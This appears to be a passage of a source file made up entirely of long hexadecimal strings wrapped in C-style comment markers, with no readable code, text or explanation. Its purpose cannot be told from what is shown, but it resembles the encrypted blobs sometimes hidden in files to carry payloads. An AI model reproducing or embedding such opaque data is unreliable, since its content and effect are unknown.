a07ba7f86c968e6a73cf65a5ed8a6326981d3510374fffc5a13ff56f9ad6706a836821a54e0b524e9514611e2677c4f9081d7adb00690b9ee382b68f728adca54d52770236ebd6f59943a15c74276cbd856f15a09f42f9cb2cd0be2cb2c84646973e39bd94d07cf217762e8c56831018832f2b5a7c18b0b4ef36b51009aedbd78d2affae3cb7e31571800fa0ebe9ccd011053150d2fa49d4432002bea023295a17ecd1a244d7cf8f3f7f4cad253538193aa1d3bc96974bb3c3a591c138dfc3c7e6498a053750e425f48e04a867c9de9da8138ecc137d62485ab3f287e3c3115e84d326e1cf9e8d782e8a6802d4f5ba9fd0bf1932caadc5c6a3d7c8b7868f4e9e7bbb6c4af42b95e224cb07c686d97d8d57cdaa655a90731a09581c54893a99c30c5388ca43de82e1b96fa0867e4618e0c621acfa8fe534656f76777d8bf3c3e528055a05a545ec65af293ba885d111155ad5f449ec6bcf4b0567086f087683284e045d122561173539fa965a4695bc730ccb24ff939cd0319c3deea57d5fba2601051645d588c138827d1f9de9d51787177b99857042d60883753953cc4935e5df7d222fa12e8c46c5f5ccefe3bef65d7f8c800edbb515d1b601e54da4faae214ec9a068b8791076b71a1038b8f5027cc58a44bae33bc85fa8f07242b264f43fbec5a87ca56e6c7c008563c93c9d4cd80ceeb578b6b3a2ad64e02506bd35e2e4acd528d174ab8fe5464e2394036be1123a7fdfa45e3ecd1be55e7ddabc49d05fdb0c56accd39b0d8b907ce6e43c32010fe7cc3dc53575291c11388cde85695697e9982140666063162352ac21f133d866c4d2930cc604b9251189b1f5067808559a472f97f151a8d82e0f733ea38687c213b7cf715d59c3622215591f0b017c34a84c06554e0bd969cc574f0a122fb2e7d614bbe2203cf547c1ea71ead5b1bc47e21a9c74c0ef6657702c05e708121ddae97a05be1f7f83d1d03a80a115cff417dde6506dbe9b39f33498c8cfd1b1b835b1cebb9ad0cef4eac5fb49fba7abe633a71b410e19b703abe4c1910e8c56ed44211cf638eabaf2f09fe5992d9b16e7e5acfe3f192191b2013b04fb384494b0e29de31e176ba468e69aaa6a48cb0ea0172bd0da12a0eb4ec6f0c2b2648989a2d1b5f8f19364bf953d8a7ca5db4524f54e9bcdd61fca743eb039b1850d1bf3cb6ebd9d70ed83a027714306e7a13d575*/
/*8021fd08746b43ef263e3241981dbc471937c50dcaf41feb37c1578dc8e5bb23aaabc04b5a806a605655a6bec223103b012c94fa3f5c8e85e20af293342e365b03912ab173d8512f98133ff87ad30f1646f3d724ec301222693901fb489a541da49c32510971d083647db1d89703d43fee084353bffd0b7088028c1f8d80e650f53a984654a570d673d2da54cb686a207d2db0d5fd225a576835c4208a77718ffd847ff8b943b185e089504db004cc0c8aaa37f9fadee64107e5bf71a4052410bfb6efaa6a0ee779e5c63c478c9821655e1d7b73b370fe1e708fa25f94e7beddc118d5f5d6736ad368ef3b3400dc43acf2bf328d58511ed5407e8d63e81a991bbb0989317a6e74d0ba4a20fc8acace1eff4893dde96f9fc9bad456305ec0af8b473dae611e02db518dfc24dce90e155b5fbe17b9219f868ca7e5fc371719df79827ae40d534faa5f74d73b406525a2855684bdac58328ad804a913f58af0fe7c6fa3ff41c70d616453b9860303e953fb662f84e0f1268cc83937ebbfffa460d22d998d4307bdd1658099b5fbf9c0a4bde03cd1266cf4557249381767fe6204f8b9373d29716446011cdaa0e65cbb9f358f9fd6787be1a9bfbc526422049aef95d58a5e8e57eae46dc8bda082ba559644da21a1d83f6df7f56e4caf9392024089a8148bb4b08828f92655bc9acd4cf3dea2189d0f07e1c12c1278fdc6c482bc653667915c2925fb2cbc6ddddaefc89e12e55728725ca2013b063a4c6a127e62d6fe58b1c257a1548c27d9fcdb1236a306eba14ef1b04ada8c825ef21aae0023388dd8e75f3559bb0efb9dc134356d536cadba1dac36f95630b54fc3f0fb4961011a6a82b1c39875df87375397c2403fb036edba96440b1db8e3e9314cfd4a1cba5a7ca27506bb69c44462d7c5b2e4cecd9881d05ec0469da2c50f2bfd1a0211c85e0cb48a28e90439261c21ae65834e04d4ef9cd7700d49102b1d0b942ca39d5ad6a73ba3c264a8f0eff1b642166afd47b66959454731558cb1fd241861cdcb3122ffcb6b67831e3975115a9689b0c0a5debcba6728e5403a0713f5407db998241465d70715f21a4638452159bd51887779e85fd28b6795ba3981cc51fb317a0015ecff22022fde6e5e638cd1d19ad099901b0ee8b2f9716c04d2c5c191c70e6f6227f32d5734b2371f26aeb051972b098c5188be7afcae2ad5f8dcaefa42301b86550b8ef52557e6536a19b77fda93f870961d91ecd25dfe086854c0d95ff36bb0dc62a0eb2c9e25652baca652c4a74e738ab86191df324156db1ba14c1a144a122496a39401cfdf762c00a5a5e3b69f4d6cf88c61686cc3c94f28bc68584477ac7850fa7f0d8fb7aff2965ebef8aafe888a8fcccc0031d865f95b1d77fdd776988ad2acea362533153292fa6ee704866775e3329943447051c70a1c407f7953fd94d00d96bb0e0b2ecfc802ac46e153a09309c81f1ee803c70c3f5958d0e6126351e7d057f6ae600ae0565f055918cdd3c1be18858d75f02d3954f2beb66a24c37b99ed473b3218e4cb0ffedc9412e834d29099ce4509c229905fa7e94f95f6b75a9af39910abeb15549076f4afa8bc6900e81f1481e72b17e65a094ef45d2e850df8cfb11623225d2a7b660d56a92fcca82b4ba91d617debde20ed8a92957a2b7a2e10d614d58fa62470e00d46696be73f010a533aaef3e008391da5a010818770a6cf67c1e127d42c36d6b8c630aa90a05e0cafba1c83e772a728571497141e2b5433b337af722c60a44c8f9a1b344ab700d13b84375ef3a8fd47d4c5b0362ffb41052f1ec726de43e06b27203e15efda87555529958c44f899af5d6eab36c6fefdbb35da989a2fe5eedc5bdce864ed9d7018f7447377facc8c7f52aaeb51025c7fb251c15443f77e20159a1710793beb2efdc4d7aa0b88984539bd590f147826366e0755b00952db23e63299190707c5de9f904e89ff26b51e40044e300ccb7b5f0c84855940d9ea9a0041808bc30eb3e488656361ed4aba1da55b49a0824df92db69296019f5016ec3ddf9ab254310fc86ba69c7fb056f4505f391ae552df6cd5b3be0227a53398896bed6aa6fc6be6b2eac19f1ca4504c1cce41de278d5cdfc69946f94ec789521133e17fe34f230a337a636c8a6b50f4a6aa17596565dc7b01f6c394450e90e786958d3253e3512e10791ad3bf9d1538cbe2fed51c361f51f68c1ecf17696ecebf7fdca7e26e05302566caafb4376e7abc4d570813602a187c5a9187c994c1685a2cada80d421e188eb8e18d09a8eb0d7ac892c1bcb280c5bd8c12906ddb7c46612f088af613ed02165ff365f2caa7c51e49033dde6165b208956131c519c48756651887ae6c66933a9805e9f2eb212ff1046ea8081c041c325c0d1840dbff67ba507c173ee9f31a0d46f53ba0c1160239f84a462370936cb1a7ea44ff922dd74a9dbeadbbfad4b82f8b463509d1323e2137fd8339c526a689b1109cc5fa9338650461b3864dc532b0cb2f1612205b5c7202456b23c91523937dd65c5243b5ac2d1c0022cc0dca29e2cd1af52250ac1ef9245e776b1b4324d5b5527aea28f2b6f5dea356a3cf00125682fd5b5816c31e4fb84417071f9494de25a4c7a66cd63c221dfda2efe91e5ce42640d77388f115210f293729003331b98d81c5540c2ce46ad3b63ea207981bd48b82ee0151200c558595c97d09a0e0448dfcc02ae46a25ec266ae93a50c3d0251159d1f3f26292bdfdfc02cd21b4b09754e9f9bdcdda0a7766ed4c98e3b4ccdd749269cc08d757e9270576318ef03ab3eb1112e1fc84df107d31561123*/
/*d89288262a731a7333626f519db8ebfcbc30bd94443318922f6840bf6fd5de0b9386a7762a78a6c1b9212c5933a2540d2f449a67a987fe5d655165241df3135989f9eaad26852bea8e6ca69c17148b6a519d56d5bb95e2413435813fcfa7b8f40556ef8a8ad578f263a858e5e83c777df485667fbbe6896f4062d19f415d1b271877c1ef206d5073fa3826a88b435537eb8e3b82a1ccedaf0739f37d83394201dd6d4285fb8e4632443235e165a20f80a32c1e355c90de2ea20f6214b9db7e25eaf013359fffaeb8d88e8b346588d7c007439ae7a32a07074c0885d409843742f687d7b5a212d6a7e7740b0eff20663dee89cad4bfae3cbf1197b6d5781ff6e2505b5d11beb396d5daf1ad24ee17748584154741301b48481766fa61aa8b953a85d50896a869e5732b99d908898dfb4e43d56f709e9fc83fcf34dd5db73ef286c09ed352979454b409e730674aac29d45c979e90946fba1ab396cf88c66c07218824fec168584a060ef0a4708d4b20f934195fbc27d4cce9c5cb8fd803533aed6b089c2afcd6b0671f39893bee10238caa289ed75bbbbfcde607a8fa87c0b23b4d4fec9859ac9e1e20eb40325c7645f51c1ea9c6778c7549b3af0d4089d24862c5742b5f0c6f6ebe5341a10f2c074ae27534207fb772ed674797b2058362e3b5dceba835c9ea00b41f6e4ebfe80dab9304fb5f4bce1b95a7705c21499ee3183622d70d7ee5c8261d3ff5f1f10154c821fee5e0fbb91779b7e228b24a4cd27dc644589e0a686117614fc203e8737a86d4e684e646c5b4ff6ecee792f31cc09c7502a0945c039dca8aa96f8a032343c5f2dd524938388d30d8c29fe5ce1cfb6acf13f0d6486eae6d5c4dd43dbd232054ed90bf44171d312f6ea78a00bb134de88ff62566a9d0dc1788c55a0d9ee02ceef2e84210e0fdd7bfe3e605a577910445c19275f61b09b290f8670d8f3a333ba67a559270af7aa99bf8a7cc117b434ee21e86b55b1711f2bbfc524674503ae6d73f76f6212dc130a0d8b892340d4b36b1a8979ca67cf116b851f2bda0c6d71ad0385a66e548f3a869e34c3df68825a03c6f8947a16982e9909d4b5fcc79640188984d3b9467da6e08648a6b28b8ff8d1ed556c870fc38c31d780e06ec35c74bdca54b9fba897a09c0ef3b3399ddd9d72d87dd40c66faab8e3bacc610703a6dcb6759c2ebcc59e234271373bf34f2ac5ebe06a75234420c6819bafaf80f68d21c20291ae75bbf3f271784620225f61f7a9f3ee9623cd2864eed403a3883daad163a6c30bd8f4a6926e1cc7602796491d80ca60ff2bc09e4305ba92641592db3454ac6b1ea88572ba4628d3dd6bafaf97aacfee5631d57177d5ef4caed14e699a3412e3c5386afe1ade929caddf9d9a20a880dd47d3b170088982235cb8da8002b61c953457339043f31ec2de1816fb6d74f8d81b4313aad2b11f5b62d21c3fba17c1d3c03905986d8e32729a14f50a338d01b26307d85217f682cdec75fceff96125ece152c36c9a333b0fa15c2fd618196f143ec573a9f2726fa635cc69238f586545e771e86bfdfce37da0511867cad4a9115b3298e2ea5c4379e43c2d48dacc7e8f58f8921209c7f5cd058527459f407a494a586f60bcde5f650d5328ea05714f3e68a863a74a0bcb808e41759c66dda34590f868ca1440c152c176d5b816112f91325e4a597e11e27268c81309f71c04ca71fe717a739ced5113e83a40f0293073f539f324d7a8ca5dfe63960a718666d238092469e0bf6d740ba9c45ba79dda38007a093c53340704669fc643fc61100457869d99e8d299c0f5a776ccf97e6eaedd5ad3164627683797395f9fc7dc2720acb8e9a5f2105b9aa08a46eaed52c93b0a10d421d9152873210438f7dc74535da819831b6115c97fde0acf8ab9ca68a26b5f66983a7f6eb0da11da96a2bbdd63d1bf7c097b8a6be489ad13f77754b33b814e6e3b7e5064cccd25a456e94d613b3fedb5851c625ba725877e8fd98fc8ea52450042d52b43c654b2d9a1db77b60b46ce5362f0f2268f01cbe7d3a01b709e8fbdaa958cf51c6c87062c8e85564e7da69a5b0e14310124c86a58d2e3f303862f0d3d8e0a5ddf6e811f08c15a017ec3068265a3e106afe076019011f836939a304666d140dc7d086d4f98d8a6c5836fed7b836a5a6afeddc52f23cf54fc80248e6c7a5d4617e3e590bf2818d5194ffd2392c7e4b523147b50e3ace5a8192e731d77fc95162cb7c0eb29c66be28285e1c8399a3fd3074082c5945b83d7c8ea456d3537a4a449c442e36a8492cb4f92f6dc1f664b0a340f552c2dffc67e6b5c5e311b1916a3989ff5315b1d2625b9067dbb855c95387f1191205cb5017e7a78cb2a52a41c3b036f9fab4662f88af3325d12072abbae8aa090063928cf04b24c9e7bb443b7ac9566a790c0fb023f5c29eab911d5a4cd10b8b72a13e8a70bb6a7cb8fd2c866ba2203296b31af1d4a2b7434af42fdda971a1b8685393ed42eb4922375b8881d83d40b931cef02ab9685813735c8051a9e7581309bc3653aa9f11a68310fed7d78c7126cbea4d3cecf666a12db03fdb1c2a04d144077165bda134db48304e9a3c5ebcaa97a5c45995452abd71564ff10ffa6c06f9fe7b7e5f96037f9575055bad070a9bf47b21affd86778d0975b5b49a467487d18ac7aafa6b4aee82aae6c7e6b13ddd8d3f2ae5dacd07b04a728e232ea8e760e01cc1b89aed0365c01313ee769587c251c2fbd212af11c5850d158d33247a8d7429642a7d0c9d8d937e7dbc06859834c2b820f58cabdf7a53d15c115ecaa84c85b28cca5d15888*/
/*cc72ca9c5d75c27d78c62712b6ec74ade58926ae2ee4d1549a3d357bb37a65f09ae5eb22cb6b961cd27619fc32e574082ea9f351d74853e5ec21409a336dfb1cd7dea5cc835196e3419c71ed570759f97deda2bfddf91c5d72350ebbe762744521c478d012bbf833b810bcf2bfb5d665383200bd9bc827fe4e63be7430a1b0ede50ff9ab9a3c648df7a2d0fdf7bed4bc0e0b71d2cbbbca2cb690d9bd2388c3647b7d6e63b7c62e48b96738e5e6eb64f83ddb2ffa860932ff20171448f3f3a48a1e4586efdbb11fbf9eba221e41063dc3fa1d03cf8ed4fa66794ed5c0b6ad6260e45b938a4956a08b36c773c8322bfbb31cda7d09f64fc678e80b7762d9f3272b31eefded8e97920bc72386c6f882452db302c269773911dc60954f2310820cd039c8c8d41708dc9e2b244e58c6b5a1bc8a9d6c40d2c935992a792cbf5f72c0a1e53509cc427f6a304516d3ee07d4975b4709e2fad8fc57b595f01e0843a76667cd5abdaff92e0e3b7594bb172e7671768dabf60fd03cb8dae0bd11ae93b1a1b2aa38298a1cd0c6b17c4828ac6e8b644203c0d097d6d9dbcc25b3ec7d9b4b424bb9a78ac7277b0bdaa5fd48827a466f4b1737df6d3cbcb313b259e7a2d8a46195675f5b89f307d49771ec8794e273c15e290300ddc840bceed36e66a8f4c7b8e2fc27863a4510ff6ad34e11cbf31c3743be6e89374516fa4dbbf1aed98aaee2fb93598636bccd7ac423befeda1fc2d7a2f46fc94641cedb1862652ca11b81b7ee0959f92fda172c3eaaa22944beff3892a5551b7424b70ea4d6d03e1549952a91d23e7fc17e2befcde70fdd8ddfe6afb9f3987a4030d1d70b00f98a7289f133908a219b286efcb95fc2e738b40aa8cb9a2ff24aef940bc94391752fa2b29c8cca2a9023caf5fa5818b20d81b51aa223aa32e6fe6297d5ae3ce116b14f93825a8d09f5c62aa88fe3a8dc6fae8d8217128bbb70fb101dd605bb526ef860c50560018f8053e8ac178ee85de8b1d6ce5f14d4220669d1fa89078bbd82eb2e89c00adc45c91c7f2bd12970435383acdaf98931851c053bf2b5f8b0fb620205d2ba99872728ab0eea9b5b6c4a6c8431394d17b68488b789e93f5fc6cbed0bc67eaf7e914bf3023f211f462e3a9e08a64957750a3bf73ae4a2eeabb998e566a85a72f8da64a1cd9dc314f88f40f2f08471604d14ac3a71a606d2247e97e0a155727f5ed18287bc77420b57dd9b10a19cd7d4971367007211377331e95687c6ed7e795186f288d2ed9bb3533f9ea05ccaf1c8433610841cc0d083a5a4460941189fa3e1c0414e4ff2a2fdfb9039ee301f19d410d7aac396a654c37a578ee52e290ff4d8780ca027699eb5f0826a5c4d312ad8357e2d3182e1ba34d672f2d46c99d57bf54c5aaa5165513eb3f95f81e093e4d0d3385d1b2138d49d96582822c8cc477cafa8b1caea17a9a689e0a09694afb938b5fcbe125204bc075d8b95ac910d6119b1fe9d485db7c190ea2830a45f7eab00e3f6d1c0f0d4f74ce7e5508d25b901fd0d2f8098260d597450f284e8370dcae9d87b576bbac48ef8869a00e50649bf4ce41f7bb9b5334dbb29375574c2be973cf016d3d15d503b3c36a55941a0875442afd088b888deda4cc8270ffc218db05c983e19a7c26ee587e44aabe8e852e45392789d4f0eea45ae28f1d63469f40c2089af6c8237cd4f9301620f740bfe599e2d6e6b2e8f71ade044b429f873dea0f0f9b6ce9ca8ac2c4197361b2ee95c2239ebcae5040cdfae395a687192f893d51147c99d0bc650c751f2fed3a4ea03b02281b5b4badd07742d7ce93fbfeb4f415f9df5f6ee6f18a1d91652dc70bc3643f6e58a0f4b1f3e3b57097772a386a246502d022768d5595162a6776030d618e68be41c06355d95ec8d2b74f7ca2a144d5bcd16b7fbad1a4057d7208459b04bb76138733171184b7fc2884e39132f900ae34aa0c932aa4690ffdbffebf7a67e417bedc35c988a8e17cace50b6537eb7a33152bfda891cd39a0fe080db53594f80dddcdf1f9b98c746b2029922fc6a03fce752bf93e2c9a1a5a4ae488dcf87d7cb7ca11b40d5da2d621f7f837c9b48393b6ba4b6d21e70b2ab8404796e2732e6a0896b3ce73de6783da6f37d23de84d9a83dd8beacd065278903679094a8b9aec2fefa236f3fc11ce18a8e19c08edb8ca9bbf8071e124f48bf6e8e9cbebb4c250cc90844ea04caa4b6036f74964a55a75f8baef23ca7146eb23995361eb9d00496cd9abf4785d9448afdc8e5558aa410b2cf26803c369fac41b850d350d8b57dcd97ed1239eb426ddce34d7ab7e64344fb2242a83b18f7128a2be6c722c36ad8c6ea915ad54f698739efb069ab0baa11e1d6c42e189cc23074d1353672eebdfcaff8e4fac70b8bc5d291f3ee4c8db738ab38051320c5cb0bde72e573b46e3e223815e4fd7c6f8928168d5ea0a9bf0d13653c3a716d17dd4172426eaa29ef5cf12e17d5504502924fdf22b110c8a5ec9e8645b61d33385e70b7ca697367a48250d039f40766236bba4b807f0d9a3a08292fb5532506ec10dd66c4ec0eb5c7e1a5bd42db96e163c590b6092c72b2d2aeef0732c3b05d450f97e8caa39b68dd075819cb63da818c6fd3724e81a9ad6f37d741e77fc25fcd43791e79666042290c8f33af412d6d92d84e2892c9c59a8175f0191b7797d305eb901a9dead01452834c7bbe43a07bc42d8f43558582fb42000d073f89c688f6d8913a2fc5cff1cbebfb9e0e658b8c12f05d59971077f646191626881fd51b6d71985b071b71f117e06aea4f0e812cc3ed31559dc0665ffbef98f60d407c*/
/*add9be4c9caa4a1cf99e459513ce7529de032b373470ff89526cb38ff711242dbdf9e144d0f6df57f3ca0b5589898c88350398f84e8f05b4ac05f95b5cede8f4df78a0cfcb70ed15635d1f09943f5dd41521113d4f1582dff9783189e9eee691505f11693038a6fd5b8f1eafb9411d7618bd3eb9af4bcbe2fe247ea70b0a6e3701818f58c562684e0fc80292bb1345bb1f21cf18f4e5e199333ebdebca90172f779f95dfe6ded098a05d2524d9001b9408aee6fb5ffde848d4610d8106ce8f4c444b68062561c8abd4faa19b19458102637dc1cfe046593c3ac8fa9a2165421a90033165a4500731da1be5e41c46b3bdd632165fdb97cc35c45edb9e7ec717a3637f17ceb5081bd2d8e11d9e892c062432bfb1e462b09dfe35f9a6e7566480e16d5dcbf69b71e5533dafcbb26a2db2fcbc656677c35c36a9aad25073cb6e7f34d794a8b3865faaa0a9a37cbb95cc8892ddcc5c80beb0e6445e273ea9e0c6da8feb75a4053ea1fb1b880cf042f09bfe52033fa05e76c0b2ab5ea9a3daa98e4b098e20bc3d07d8ed60f1f4f3dd4fd0d7ed971f34504fc61a28644b7971c05ff270cfc7062265bf39cffe7577440ab618f613cb1dc79a973ac7a063cb0e47f8d9a3842c94d94b4f06f850ef91508644bb257ba9bd267d7d9cdec3ba4508341b2fcc62c3391be398539f8fadb4da9c2e032335cdf6d6cc91505a43cc1b893c7b82e60e8798de2719116bf7cb4aeb4c7bd9fe7764cfe42cbfcc8358acdecb4b548a00f6981b79ccf2a6005463568f8f29db64b96d4e3d9c38547d8b2b8ab0e1f9e3f3e85550239be50b8c627c056e06e142b1d97feeda09661409445577c3cc485b24df4286473ff8e00651d8227929f06e336ad625f142774fc9a76d7091959d8b16970ceb6041fcc87600d2ade98ee62b658863d0053aeac03c997436cc3ee847b1f1b2b9e473d745dca32de03d2dae0a87a2bf6f7fa72e1cc230a9f83c8b2b52c9345bef0ad4ec087c9a2fd8185aafaba62d1178d54614e9ebe8f029451c2123c6c36b5efd57dd727c9aac7b6bbc432a0bb17cbecd05073881e7a239a6897d0aecde65dbfc8feaa115c74a990c4effee01c5e63b68f72c72cf690d65300beeb8a94f8c41401dbf7479209c1001801d6ad8bd92ed1813937e843bc5e43e04b08d483ed08b4559d52623c3bfe732b7a666102bf52474a0396d4bad7c8b9b2bc7a03adfcc33cc073e31eaf72ee390681920f3d9e0a65336596736688cbd38d09a1bd95bca88cd7bf145f95776bf812b4a2d25534ec18dd25c73e43c4b5f93fe59b9b2ce1ae2bae7b4538c79b4cf98aa2aa839e8edfd459f909228f42fd98fa3e59ae53718e500c31fbacd56a0d0c79e0ce24165ef3628aeff7da20018084d145b9232bc8a05df16774fd10924bf73671a39514cd18dea697a80d16fe27cce18cc6d86c3ddef904e091c8b9a7a9f241c598c835546db02ff513aba4144d4d3b487c220c0bd7fecf6f926df3f755a055d1b513aa2594014e4338dc111f5a2d8eaed0457569786bcf990b2f5b69d2218633d535e3396d8c3a4f625946b8d3ab8af43046b5642eda9868525a2e87b78bf1f1b60688955698ee87cdb1957fb7539c644d678119bb56cbdcce590c48ddc5f9535945ebdbe3954c9350a56cc1b6496aa21c95aa44cf04ff011e7ca136bd467fbf19f50f7cf04badd2e8f8d83cab40726327b83505ea4ff8fb6a0fa4e24fe72ec1376d34787d20c6b34abd933ae1ac3d5bc3e04192dfeeba5ec05c6322214c16cddff96cf10f90eac24d3b56fa8a5ec1ff6f46ba6801f4acea5e7cf623578f3d45891b43a02785ad9afbd210184e19df9d82d2c8a6715c7bf1d03439e91024bc5699c14d29ea8e39bb82ac89b2684abf47e04fd30f7ac228133a03f42222ac737fa4487daf0d6f0228d1329db77853315d02f8503303f89e728794101e14aa748041a05b9f04e481e6fe0871fc65e50f2ade8f6bef1c062b393ebd25df638014af27746b20c597884035662de89822db0860995e167d3f8309ccbd303fd7e57c8fd8e2ac0e445e1027505ce9d3683107e64a9d26e25f3194a5f862e337bceaf16794372befd2ed6eaccee93ead812c52b32e06cff5f64c6aa66ad471eea9cb2c5c5fdce6d4c436032b3c53f9e5cff51118fe34018c76fbcc7066c4b52757547c0b88e1fbaab43707126dc224481e2df05c2b65904c26b249748093fbb229fcd41aac6cb5a7426d4aa6871ec67eabe79b478a92bbd334a0fab9588e0581c9add10da906923b8f322714dade0792a78e24d966642ac649a8375ab9dae46f2ccad83064e6273ef536a8b103a0b619d7690b103983618cddf62ddeff2d265589d7183ab6f7363817f27961d8ae52d4b2069492e2a5322a904b3de7e799aaf55dc94fc829312eedf74f7a4ccf62cacff088416d5ce8c3e575de13d718b295a434396e3b7b71fee7e4c05b5e620d17210941b62d20a005deb59cab4e2706d2ba6fbf09a2bdf668de2009f88097d4ade4a5021f0864cedc4384f7aa557f2d5ba234ac59cf71baa5954c8a805b0f4ddf60e667637d72ee2ee6fb2ddf6f3920a6c6bc097aa904ec680d211091d5f37e829fd576d3d75a845522729e44e4566f48e0186447c18545a0d56c32b7d999887f8317372e9916c0b32b17de6096aa87e794ce3eae6e49030b68a512f967b789e74a3254b3aeffda24891ac29260739f28bf138a65fcd846bd0c51184ec32345021734da37aebb03039e0670a1e7dafa8b73a6dd90223703983b8b9f3ef3f75b35a20622d766969c1434a4471dcaea3c233fe19f50a860ef2*/
/*ee90fba30a98d61e1941aab875c2162f1b0fcc40bfe31ae0658852e079d681ce4e0e02a4be1f46d9fa26b5d00968833985f759fc052eb6c72012a6c0eca9b0d395d36cfe8f875974119729922d641860a6acc27b658b43b685b67f36b6a7c2025fa21c050ccc86d47bc67a175a6c3679515a357bed28064f36a07e94d7375400194df31e729e0012fa987cc331ea1052036a40a060bcd9d82cfee47c9cd1897d34b8f58ee70298a5299eb0268920bf066cdabe260e3eab03c683c87980f44c2773dbd3674dd80ae2c3d406384987af4cbd9b26fdf0567880a27a04bf7a849ea236288fa36a53b9ae8929a4c47a3766f1ae8294e0049eb10f1919193f983d37c0e5fb196df5461d4082d557bbdc668ee515ece704140cd073dce15c0c17fd49df8b63742560878e41758e2a1e8566b54a45024ab08a02ae65535c1c3605977549f8dd9dd2f8656a1079342a47332a486cf19b61ae91f3c4fd99f509a0cafce5653dd13584264463a4322b1b76c8efdc4032c6394a59973e493ee5ca29ff9966605c9c4a7d47582421f179e5b3bc6e33d1a83e75eb26210c6544017a7be91620c150ca310d84edfcc74e12666bb70ba40ad32ac61bf609bc6f93cf1e0d740ae6cf7491854dfbda89b2f3bc06870d8c79f29e308d28f5e7d0823e8387ed82ba60ffb5536067bcc5bcf0b076278c24f98576d5ab42cccbb0d6b0612d8b49f45c5524451c8afc140db33792e8964bc9fe3ecc040cd03e6d8c51274fb0152cc3d24550a754fa1c1a36e954ed143f7fd67fb9c87aab652a5292681da17921cf26930c00566bc3b6f1136a6047055bd2ed3c16d0841d6bbd368321ab17c0e8ae5f024d1c74b36905f53708992c4208bf117f0760f540a65394da70bba75303a35b884e6e56903e443230cc70f6a48716e477dccde2e643e15e81d23d1e14be6fdc2d1351ca78bc0226b56dad8d43a26be6201526926f7ff23b6045768f1aa9803a31302985d7f3e144d6bc235026c703d8fd364e733cfbe10e618b10b5ba77abba7c3736930870e8ce0187f8d23cfd1c2d77cbec4c7e9195dc5c906e2f99bda62ab85dc4ff9c72047b1baee544839bbb263dfd2eb345db4125ebe724b041b8b474e721d72aa26713929851ec4de8646fa63d06b9f32cd789209c1168a7e3627a3bc67d5dbbabcfc0621f0bc9deff5c015092d56d36c75900bab0445d38bee9681ae25d63fdacbc611ddb2d4d3833e48ec9058a90a26349a0b7f24229a25184291205bd864e660cbc6893b495c9de7e5fbb963361f04eac91892d0020e75690e896200c07ab83644f755298de2cf80db08bd961691299d2defe4710dabb4211b73f629f6fcc15a777145cc4a54d681e39354d5593d9e769bc761960484bf7a99a9d8bc9fad7d91da1da471225aece438643bb57ce21a89981a692ab340a7ac0aa0317efc8e6331b2d4ac0fc19bc8562338af9cda2ac176865f7cdcd5844d89b51a2491b290e2bdde289ee7290f5bca4c0da779a0d9860c28241a01fe3c0b14d3d7283e20acc97330b1bdbc157e2ccaa9648852b0b0d5bf11e4c5fec046cb6346e9b62cdad24d8cdbf88322993098bb78ae89177001b010c63d131713cce181d4974e498689f50dfe7126fba4fbe0475638e8c1e4d45168e487db9c950cde37697953b4165429373e5a2425752170ad2f046cefdb6d1bdc33a6f9d8f27366b26768e00d0d1dce7e032e5e7eceab962ec36aecce6478b77b1d2b2a5b2732522a23ccc63574f0529878ac4a9197e2b31c93ad9b55970b8c24ffe2de641ed4132dce45e756319938398c886356981041f6b25bdb097bdf0ac64e6f42c8f83ada77ddd9c34b3501eb8306bcc7a80574e85ee2037188d7d4c2f9ddec874b97b8c21eb2ec082b5cfb7fe3f9b7335ee604da46bf15e67333cbb62eca4b18056d4dc8b8473fe39147b8c625e10140021f0fe39c36a2aad9071a0193717285f2fd0310bc61ef391b9a2c2c96fcaed7d03ece102c33968e2cc312599c7134f7108879c53f5799f8498c31ce2928be2606f475ec0b521adc6b917d82220c36df8baac02d41c6ae5424da68ab3a567b4c7b32d8c02663a39ba39b0fde21936f5176fb3c478737ec6a5c93dbb92b88ebbff1c79aa0028946d51e5adc7cf347b516bc4edf657dec3e57afce865c7c3698f4ba3e41bb5835172079a8a207c4fa8c82fd3bbec4548839887d645627b85adce40ade0d17592b34c58e5c967d1aae48f0eb48b1743b6473b010a405b6c0d089d302980d7d30eaeb5fd561b9bb817e856dcfe19e5407748f812f8e5d099353bd2fe558ef75e15d92c4688ce77ac9b4a6ae030b3c3723c5ad83ba7e0a722fac561f93ca2042a7427bfb01bcded97c42c8edc37b7db4a0ab61edccee08821f4f26059efe627f392134d1ecd0621def040473d1a4a247f1709569f43dc2595ec59d88092cf89bfd969c6dc1a1c10890d38fed92176b1d231e4a6a9daf829a6c8efeeda3c41e4150b172c349ba15c8d828ddb618cd3049240e6d5271abcba5bfaf376073fa8fd1324aba112d5c43ea50ad20801084d345aa08b245547f8de0bbe6dca3ad430d5256275bdff80045a52aaf5493f240edcc7f41c87121a1f92640833f9f85b56e39090ada6ee59a51804f112ebb13e5766fddb6bde51b787ed943c64d969efa4ec29a765e85599bb762bd2e81df4d687d59664cfbdced240ce3eecd2dee1d3db1c1b9162eae575d0f3f3c0b9cda6b13cfd4ef77ff7242d8fada5c63f0c859344955f83f8a1eadcd5b728dadf4aa58f8e0374ee3268f2235a5b8151cf2f36c4ae66ebdf0f42c7b627*/
/*6f02a467fae1f4fce675f86f8e50cb495607c6f6a7465ffe5504caff665fd3a7e254c6919adc3f1ca8ab5594332ad91e88301b1f116ecd08b30f530dca8318326c966a8894239a293fef125743af0572b634831087f172cdec03a0cdc698dad02ec934b90721f019fe524af72aea950858f763d88d7c39df364038b2e7137c3053bc66d56966dffd655fe26969b6b1ed349c32039a778f2813b21affc921c16dad00171f86921df496d6d2d8f6d13a433417db78f58fac3951e6c039ed004c0c5213cf49a4723f62d256287ec215874524c70740fc3f10233d674894802eb12c5a36d1a6044256b8f09710c202ea060e3e60d1cf7510e4bb9b55e7efaf123200fc7ef5aa5f32b36b24923f43e51106c526f31d375e7ccc2333a0e08029d62098baa65786daec7b011ecfbe8c68a0d485c45b143afe4460154166908d74052f3808c5f6c7e3d4703645d9faabf6bcfec7ff7835d564c37b2d03491e92f495348d2aab311ea24de6485e7da3ad94f48a81cdef05b8ad16dd7b6d68730901e363b20724ef1bd2d6988c0911bfcc7b1193648d0f3fdf4cc19a98f92678e5641b3648c82ce33c33bc44ba9336b7e79553c0d7cc6a72904b46c260cb20bf243d9625ddce0d1ea26c1c65166123dac0dbc92bf5063f4a20a528d3156c248b9232ac83ebae0150ca22f989b3c4d2de65040261675a6c318fb0006c1feb33076ac240a6f5caaafe267ae923f82c0e0022b13a6af4efd108b4749cef9e5ad18eb60614a9e2437a743fc4138853117da56941b9fd68fa79e164d350b264ac0b730aa125c735b0d89a43bf10bd95894757f8192249214eec32674d8bae56f56654afd2062cb0b94c40f5f9e17cec7a9fbc95